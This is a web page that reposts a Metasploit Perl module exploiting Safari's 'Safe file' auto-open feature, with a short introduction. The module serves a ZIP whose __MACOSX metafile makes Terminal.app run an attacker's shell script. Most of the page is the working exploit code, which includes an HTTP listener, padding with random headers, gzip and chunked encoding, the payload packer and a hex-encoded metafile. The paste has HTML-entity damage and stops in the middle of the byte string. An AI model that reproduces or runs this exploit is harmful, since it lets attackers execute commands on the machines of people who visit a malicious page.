up home page bottom

Add a comment

French German version Spanish version Italian version

Apple Mac OS X / Safari “__MACOSX” ZIP archive Remote Code Execution Exploit

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

This is an interesting and apparently "critical" live exploit for remote code execution through Safari. Below is the Metasploit file.

Exploit code just after the break.

C:
  1. #
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::safari_safefiles_exec;
  10.  
  11. use strict;
  12. use base "Msf::Exploit";
  13. use Pex::Text;
  14. use IO::Socket::INET;
  15. use IPC::Open3;
  16. use FindBin qw{$RealBin};
  17.  
  18. my $advanced =
  19. {
  20. 'Gzip' => [1, 'Enable gzip content encoding'],
  21. 'Chunked' => [1, 'Enable chunked transfer encoding'],
  22. };
  23.  
  24. my $info =
  25. {
  26. 'Name' => 'Safari Archive Metadata Command Execution',
  27. 'Version' => '$Revision: 1.3 $',
  28. 'Authors' =>
  29. [
  30. 'H D Moore <hdm>
  31. ],</hdm>
  32. 'Description' =&gt;
  33. Pex::Text::Freeform(qq{
  34. This module exploits a vulnerability in Safari's "Safe file"
  35. feature, which will
  36. automatically open any file with one of the allowed extensions. This can
  37. be abused
  38. by supplying a zip file, containing a shell script, with a metafile
  39. indicating
  40. that the file should be opened by Terminal.app. This module depends on
  41. the 'zip' command-line utility.
  42. }),
  43.  
  44. 'Arch' =&gt; [ ],
  45. 'OS' =&gt; [ ],
  46. 'Priv' =&gt; 0,
  47.  
  48. 'UserOpts' =&gt;
  49. {
  50. 'HTTPPORT' =&gt; [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
  51. 'HTTPHOST' =&gt; [ 0, 'HOST', 'The local HTTP listener host',
  52. "0.0.0.0" ],
  53. 'REALHOST' =&gt; [ 0, 'HOST', 'External address to use for redirects
  54. (NAT)' ],
  55. },
  56.  
  57. 'Payload' =&gt;
  58. {
  59. 'Space' =&gt; 8000,
  60. 'MinNops' =&gt; 0,
  61. 'MaxNops' =&gt; 0,
  62. 'Keys' =&gt; ['cmd', 'cmd_bash'],
  63. },
  64. 'Refs' =&gt;
  65. [
  66. ['URL', 'http://www.heise.de/english/newsticker/news/69862'],
  67. ['BID', '16736'],
  68. ],
  69.  
  70. 'DefaultTarget' =&gt; 0,
  71. 'Targets' =&gt;
  72. [
  73. [ 'Automatic' ]
  74. ],
  75.  
  76. 'Keys' =&gt; [ 'safari' ],
  77.  
  78. 'DisclosureDate' =&gt; 'Feb 21 2006',
  79. };
  80.  
  81. sub new {
  82. my $class = shift;
  83. my $self = $class-&gt;SUPER::new({'Info' =&gt; $info, 'Advanced' =&gt;
  84. $advanced}, @_);
  85. return($self);
  86. }
  87.  
  88. sub Exploit
  89. {
  90. my $self = shift;
  91. my $server = IO::Socket::INET-&gt;new(
  92. LocalHost =&gt; $self-&gt;GetVar('HTTPHOST'),
  93. LocalPort =&gt; $self-&gt;GetVar('HTTPPORT'),
  94. ReuseAddr =&gt; 1,
  95. Listen =&gt; 1,
  96. Proto =&gt; 'tcp'
  97. );
  98. my $client;
  99.  
  100. # Did the listener create fail?
  101. if (not defined($server)) {
  102. $self-&gt;PrintLine("[-] Failed to create local HTTP listener on
  103. " . $self-&gt;GetVar('HTTPPORT'));
  104. return;
  105. }
  106.  
  107. my $httphost = $self-&gt;GetVar('HTTPHOST');
  108. $httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';
  109.  
  110. $self-&gt;PrintLine("[*] Waiting for connections to http://".
  111. $httphost .":". $self-&gt;GetVar('HTTPPORT') ."/");
  112.  
  113. while (defined($client = $server-&gt;accept())) {
  114. $self-&gt;HandleHttpClient(Msf::Socket::Tcp-&gt;new_from_socket($client));
  115. }
  116.  
  117. return;
  118. }
  119.  
  120. sub HandleHttpClient
  121. {
  122. my $self = shift;
  123. my $fd = shift;
  124.  
  125. # Set the remote host information
  126. my ($rport, $rhost) = ($fd-&gt;PeerPort, $fd-&gt;PeerAddr);
  127.  
  128. # Read the HTTP command
  129. my ($cmd, $url, $proto) = split(/ /, $fd-&gt;RecvLine(10), 3);
  130. my $agent;
  131.  
  132. # Read in the HTTP headers
  133. while ((my $line = $fd-&gt;RecvLine(10))) {
  134.  
  135. $line =~ s/^\s+|\s+$//g;
  136.  
  137. my ($var, $val) = split(/\:/, $line, 2);
  138.  
  139. # Break out if we reach the end of the headers
  140. last if (not defined($var) or not defined($val));
  141.  
  142. $agent = $val if $var =~ /User-Agent/i;
  143. }
  144.  
  145. my $target = $self-&gt;Targets-&gt;[$self-&gt;GetVar('TARGET')];
  146. my $shellcode = $self-&gt;GetVar('EncodedPayload')-&gt;RawPayload;
  147. my $content = $self-&gt;CreateZip($shellcode) || return;
  148.  
  149. $self-&gt;PrintLine("[*] HTTP Client connected from $rhost:$rport,
  150. sending ".length($shellcode)."
  151. bytes of payload...");
  152.  
  153. $fd-&gt;Send($self-&gt;BuildResponse($content));
  154.  
  155. select(undef, undef, undef, 0.1);
  156.  
  157. $fd-&gt;Close();
  158. }
  159.  
  160. sub RandomHeaders {
  161. my $self = shift;
  162. my $head = '';
  163.  
  164. while (length($head) &lt;3072) {
  165. $head .= "X-" .
  166. Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
  167. Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
  168. }
  169. return $head;
  170. }
  171.  
  172. sub BuildResponse {
  173. my ($self, $content) = @_;
  174.  
  175. my $response =
  176. "HTTP/1.1 200 OK\r\n" .
  177. $self-&gt;RandomHeaders() .
  178. "Content-Type: application/zip\r\n";
  179.  
  180. if ($self-&gt;GetVar('Gzip')) {
  181. $response .= "Content-Encoding: gzip\r\n";
  182. $content = $self-&gt;Gzip($content);
  183. }
  184. if ($self-&gt;GetVar('Chunked')) {
  185. $response .= "Transfer-Encoding: chunked\r\n";
  186. $content = $self-&gt;Chunk($content);
  187. } else {
  188. $response .= 'Content-Length: ' . length($content) . "\r\n" .
  189. "Connection: close\r\n";
  190. }
  191.  
  192. $response .= "\r\n" . $content;
  193.  
  194. return $response;
  195. }
  196.  
  197. sub Chunk {
  198. my ($self, $content) = @_;
  199.  
  200. my $chunked;
  201. while (length($content)) {
  202. my $chunk = substr($content, 0, int(rand(10) + 1), '');
  203. $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
  204. }
  205. $chunked .= "0\r\n\r\n";
  206.  
  207. return $chunked;
  208. }
  209.  
  210. sub Gzip {
  211. my $self = shift;
  212. my $data = shift;
  213. my $comp = int(rand(5))+5;
  214.  
  215. my($wtr, $rdr, $err);
  216.  
  217. my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
  218. print $wtr $data;
  219. close ($wtr);
  220. local $/;
  221.  
  222. return (&lt;$rdr&gt;);
  223. }
  224.  
  225. # Lame!
  226. sub CreateZip {
  227. my $self = shift;
  228. my $cmds = shift;
  229.  
  230. my $data = $cmds."\n";
  231. my $name = Pex::Text::AlphaNumText(int(rand(10)+4)).".mov";
  232. my $temp = ($ENV{'HOME'} || $RealBin || "/tmp") .
  233. "/msf_safari_temp_".Pex::Text::AlphaNumText(16);
  234.  
  235. if ($self-&gt;GotZip != 0) {
  236. $self-&gt;PrintLine("[*] Could not execute the zip command (or zip
  237. returned an error)");
  238. return;
  239. }
  240.  
  241. if (! mkdir($temp,0755)) {
  242. $self-&gt;PrintLine("[*] Could not create a temporary directory:
  243. $!");
  244. return;
  245. }
  246.  
  247. if (! chdir($temp)) {
  248. $self-&gt;PrintLine("[*] Could not change into temporary directory:
  249. $!");
  250. $self-&gt;Nuke($temp);
  251. return;
  252. }
  253.  
  254. if (! mkdir("$temp/__MACOSX",0755)) {
  255. $self-&gt;PrintLine("[*] Could not create the MACOSX temporary
  256. directory: $!");
  257. return $self-&gt;Nuke($temp);
  258. return;
  259. }
  260.  
  261. if (! open(TMP, "&gt;$temp/$name")) {
  262. $self-&gt;PrintLine("[*] Could not create the shell script:
  263. $!");
  264. $self-&gt;Nuke($temp);
  265. return;
  266. }
  267.  
  268. print TMP $data;
  269. close(TMP);
  270.  
  271. # This is important :)
  272. chmod(0755, "$temp/$name");
  273.  
  274. if (! open(TMP, "&gt;$temp/__MACOSX/._".$name)) {
  275. $self-&gt;PrintLine("[*] Could not create the metafile: $!");
  276. $self-&gt;Nuke($temp);
  277. return;
  278. }
  279.  
  280. print TMP $self-&gt;OSXMetaFile;
  281. close(TMP);
  282.  
  283. system("zip", "exploit.zip", $name,
  284. "__MACOSX/._".$name);
  285.  
  286. if( ! open(TMP, "&lt;"."exploit.zip")) {
  287. $self-&gt;PrintLine("[*] Failed to create exploit.zip (weird zip
  288. command?)");
  289. $self-&gt;Nuke($temp);
  290. return;
  291. }
  292.  
  293. my $xzip;
  294. while (<tmp>) { $xzip .= $_ }
  295. close (TMP);</tmp>
  296.  
  297. $self-&gt;Nuke($temp);
  298. return $xzip;
  299. }
  300.  
  301. sub Nuke {
  302. my $self = shift;
  303. my $temp = shift;
  304. system("rm", "-rf", $temp);
  305. return;
  306. }
  307.  
  308. sub GotZip {
  309. return system("zip -h&gt;/dev/null 2&gt;&amp;1");
  310. }
  311.  
  312. sub OSXMetaFile {
  313. return
  314. "\x00\x05\x16\x07\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  315. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00".
  316. "\x00\x32\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x52\x00\x00".
  317. "\x05\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  318. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  319. "\x00\x00\x00\x00\x01\x00\x00\x00\x05\x08\x00\x00\x04\x08\x00\x00".
  320. "\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  321. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  322. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  323. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  324. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  325. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  326. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  327. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  328. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  329. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  330. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  331. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  332. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  333. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  334. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  335. "\x00\x00\x00\x00\x04\x04\x00\x00\x00\x25\x2f\x41\x70\x70\x6c\x69".
  336. "\x63\x61\x74\x69\x6f\x6e\x73\x2f\x55\x74\x69\x6c\x69\x74\x69\x65".
  337. "\x73\x2f\x54\x65\x72\x6d\x69\x6e\x61\x6c\x2e\x61\x70\x70\x00\xec".
  338. "\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
  339. "\xec\xec\xff\xec\xec\xec\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".
  340. "\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".